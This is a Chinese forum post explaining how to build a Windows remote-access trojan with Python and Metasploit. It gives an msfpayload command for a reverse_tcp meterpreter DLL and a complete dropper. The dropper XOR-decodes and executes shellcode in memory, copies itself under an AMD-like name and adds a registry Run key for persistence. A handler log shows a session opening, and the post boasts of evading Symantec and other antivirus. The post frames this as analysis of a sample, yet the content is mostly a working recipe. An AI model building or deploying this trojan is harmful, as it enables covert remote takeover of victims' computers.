设为首页 收藏本站
查看: 799|回复: 0

[经验分享] python+msf 制作 windows远控

[复制链接]

尚未签到

发表于 2017-6-28 13:02:10 | 显示全部楼层 |阅读模式
  最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~
  创建dll



./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444  -t dll X > /tmp/sc.dll
  python
  main.py



import sys, os
import shutil
import time
import ctypes
import glob
import multiprocessing
import multiprocessing.forking
from sc import sc
from win32file import GetLongPathName
import _winreg
from itertools import izip, cycle
from utils import getppid, kill, get_base_dir
RECONNECT_SLEEP = 60
STARTUP_SLEEP = 30
CHILD_STARTUP_SLEEP = 10
METER_NAME = "aticlex.exe"
METER_DIR = "AMD"
USER_DIR = os.path.expanduser("~")
try:
from win32com.shell import shellcon, shell
APPDATA_DIR = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
DATA_DIR = os.path.join(APPDATA_DIR, METER_DIR)
except:
DATA_DIR = os.path.join(USER_DIR, METER_DIR)
METER_PATH = os.path.join(DATA_DIR, METER_NAME)
class _Popen(multiprocessing.forking.Popen):
def __init__(self, *args, **kw):
if hasattr(sys, 'frozen'):
os.putenv('_MEIPASS2', sys._MEIPASS)
try:
super(_Popen, self).__init__(*args, **kw)
finally:
if hasattr(sys, 'frozen'):
os.unsetenv('_MEIPASS2')

class Process(multiprocessing.Process):
_Popen = _Popen

class Worker(Process):
def xor(self, data, key='\x41\x82\x99\x73\x12\xf8\x0e\x38'):
return ''.join(chr(ord(c)^ord(k)) for c,k in izip(data, cycle(key)))
def run(self):
time.sleep(CHILD_STARTUP_SLEEP)
code = self.xor(sc)
cbuf = ctypes.create_string_buffer(code)
func = ctypes.cast(cbuf, ctypes.CFUNCTYPE(ctypes.HRESULT))
func()
def install():
reg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
key = _winreg.OpenKey(reg, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(key, METER_NAME.split(".")[0], 0, _winreg.REG_SZ, METER_PATH)
path = GetLongPathName(sys.executable)
if path != METER_PATH:
if not os.path.exists(DATA_DIR):
os.makedirs(DATA_DIR)
try:
shutil.copy(path, METER_PATH)
except Exception as e:
sys.exit(1)
os.execve(METER_PATH, [METER_PATH], os.environ)
def clean():
try:
base_dir = get_base_dir()
temp_dir = os.path.abspath(os.path.join(base_dir, os.pardir))
mei = base_dir.split("\\")[-1]
pattern = "%s\\_MEI*" % temp_dir
for path in glob.glob(pattern):
path = GetLongPathName(path)
if path != base_dir and mei.lower() not in path.lower():
try:
shutil.rmtree(path)
except:
pass
except:
pass
def main():
kill(getppid())
time.sleep(STARTUP_SLEEP)
install()
clean()
while True:
p = Worker()
p.daemon = True
p.start()
p.join()
time.sleep(RECONNECT_SLEEP)
if __name__ == "__main__":
multiprocessing.freeze_support()
main()
  sc.py



sc='\x12\x34' .........
# sc = sc.dll open with rb mode

  然后pythoninstall 生成exe。
  监听:



msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444  
lport => 4444  
msf exploit(handler) > run  
  • Started reverse handler on 192.168.1.123:4444  
  • Starting the payload handler...  
  • Sending stage (770048 bytes) to 192.168.1.80  
  • Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500  
    meterpreter >  

      木马特征:
      添加注册表启动项,定时load msf payload,过赛门铁克等杀软。

  • 运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
    2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
    3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
    4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
    5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
    6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
    7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
    8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

    所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-389011-1-1.html 上篇帖子: windows环境下配置php和redis 下篇帖子: Windows驱动 INF文件
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    扫码加入运维网微信交流群X

    扫码加入运维网微信交流群

    扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

    扫描微信二维码查看详情

    客服E-mail:kefu@iyunv.com 客服QQ:1061981298


    QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


    提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


    本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



    合作伙伴: 青云cloud

    快速回复 返回顶部 返回列表